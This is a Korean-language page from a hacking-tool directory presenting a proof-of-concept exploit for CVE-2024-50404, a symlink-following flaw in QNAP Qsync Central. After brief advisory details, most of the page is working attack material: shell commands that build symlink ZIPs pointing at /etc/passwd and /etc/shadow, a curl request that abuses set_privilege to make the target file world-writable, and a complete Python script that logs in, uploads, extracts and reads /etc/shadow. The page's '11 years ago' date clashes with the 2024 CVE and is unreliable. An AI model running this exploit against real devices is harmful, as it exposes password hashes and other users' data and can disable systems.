Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-50404 — CVE-2024-50404 | Kitploit
도구/GitHubGitHub/c411e/cve-2024-50404
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubc411e/cve-2024-50404

CVE-2024-50404

CVE-2024-50404

저장소 보기
11년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-50404

  • https://www.qnap.com/en/security-advisory/qsa-24-48
  • https://www.cve.org/CVERecord?id=2024-50404
  • CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (6.8)

"링크 추적(link following) 취약점이 Qsync Central에 영향을 미치는 것으로 보고되었습니다. 악용될 경우, 이 취약점으로 인해 사용자 접근 권한을 획득한 원격 공격자가 파일 시스템을 탐색하여 의도하지 않은 위치에 도달할 수 있습니다."

발견 날짜: 2024년 4월 22일
수정 날짜: 2024년 12월 7일
영향을 받는 버전: Qsync Central 4.4.x
수정된 버전: Qsync Central 4.4.0.16_20240819 (2024/08/19) 이상
접근 권한: 파일 업로드 권한이 있는 일반 사용자

요약:
ZIP 파일을 통해 심볼릭 링크를 업로드하고, 업로드된 심볼릭 링크가 가리키는 파일을 읽는 것이 가능합니다. 또한 심볼릭 링크 대상 파일의 권한을 수정할 수 있습니다.
일반 사용자 권한을 가진 공격자는 다른 사용자의 데이터나 /etc/config/shadow에 저장된 비밀번호 해시를 읽을 수 있으며, 이는 전체 시스템의 손상으로 이어질 수 있습니다. 추가로 공격자는 중요한 시스템 바이너리에서 실행 권한을 제거하여 시스템을 사용할 수 없는 상태로 만들 수 있습니다.

재현 단계

심볼릭 링크를 통한 파일 읽기

  1. 심볼릭 링크를 생성하고 ZIP 파일에 넣습니다.

    root@kitploit:~
    ln -s /etc/passwd link.txt
    zip --symlink pwn.zip link.txt
    
  2. 낮은 권한의 사용자로 로그인합니다.

  3. ZIP 파일을 .Qsync 폴더에 업로드합니다.

    ZIP 업로드

  4. 마우스 오른쪽 버튼을 클릭하고 *Extract to /pwn/*을 선택하여 ZIP 파일의 압축을 해제합니다.

    ZIP 압축 해제

  5. 새 pwn 폴더를 열고 link.txt를 마우스 오른쪽 버튼으로 클릭한 다음 Open을 선택합니다.

  6. /etc/passwd가 새 탭에서 열리는 것을 확인합니다.

    링크 열기

심볼릭 링크를 통한 파일 권한 수정

  1. 심볼릭 링크를 생성하고 zip 파일에 넣습니다.

    root@kitploit:~
    ln -s /etc/shadow link.txt
    zip --symlink pwn.zip link.txt
    
  2. 낮은 권한의 사용자로 로그인합니다.

  3. ZIP 파일을 .Qsync 폴더에 업로드합니다.

  4. 마우스 오른쪽 버튼을 클릭하고 *Extract to /pwn/*을 선택하여 ZIP 파일의 압축을 해제합니다.

  5. set_privilege 함수를 악용하여 심볼릭 링크가 가리키는 파일의 권한을 변경합니다.

    Curl 요청:

    root@kitploit:~
    curl --path-as-is -i -s -k -X $'GET' -H $'Host: 192.168.178.156' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: https://192.168.178.156/cgi-bin/' -H $'X-Requested-With: XMLHttpRequest' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin' -H $'Te: trailers' $'https://192.168.178.156/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid=9j27809t&source_path=/home/.Qsync/pwn/&source_file=link.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1'
    

    Burp 요청:

    Burp 요청

    URL의 sid 매개변수를 유효한 세션 ID로 교체해야 합니다.

  6. 새 pwn 폴더를 열고 link.txt를 마우스 오른쪽 버튼으로 클릭한 다음 Open을 선택합니다.

  7. /etc/shadow가 새 탭에서 열리는 것을 확인합니다.

    링크 열기

개념 증명

다음 Python 스크립트를 사용하여 이 취약점을 악용할 수 있습니다.

root@kitploit:~
#!/usr/bin/env python3
from requests import Session
import base64
import os
import re
import time
import urllib3

# adjust following variables
ENDPOINT = 'https://192.168.178.156'
USERNAME = 'victim'
PASSWORD = 'Victim123!'
FILE = '/etc/shadow'
#DEBUG_PROXY = 'http://localhost:8080'

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def main() -> None:
    session = Session()
    #session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
    session.verify = False

    print(f'carefull, privileges of {FILE} are changed to 777! clean up is not implemented')

    print('creating zip file')
    os.system('rm -f pwned.txt pwn.zip')
    os.system(f'ln -s {FILE} pwned.txt')
    os.system('zip --symlink pwn.zip pwned.txt')

    print('loggin in')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/authLogin.cgi',
        headers={'Content-type': 'application/x-www-form-urlencoded'},
        data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
    )
    assert response.status_code == 200
    match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
    assert match
    sid = match.group(1)

    print('uploading zip file')
    with open('pwn.zip', 'rb') as file:
        upload_file(session, sid, 'pwn.zip', file.read())

    print('unpacking zip file')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
        headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
        data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/.Qsync/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/.Qsync'},
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1

    # wait a bit
    time.sleep(5)

    print('changing privileges on file')
    response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid={sid}&source_path=/home/.Qsync/&source_file=pwned.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1')
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1

    print('read file')
    response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi/pwned.txt?sid={sid}&func=get_viewer&source_path=%2Fhome%2F.Qsync&source_file=pwned.txt')
    assert response.status_code == 200
    print(response.text)

    print('done')


def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
    # get upload id
    response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
    assert response.status_code == 200
    data = response.json()
    upload_id = data['upload_id']
    assert upload_id

    # upload file
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome%2F.Qsync&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0',
        files=(
            ('fileName', (None, filename.encode('ascii'))),
            ('file', ('blob', content, 'application/octet-stream')),
        ),
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1


if __name__ == '__main__':
    main()
도구 다운로드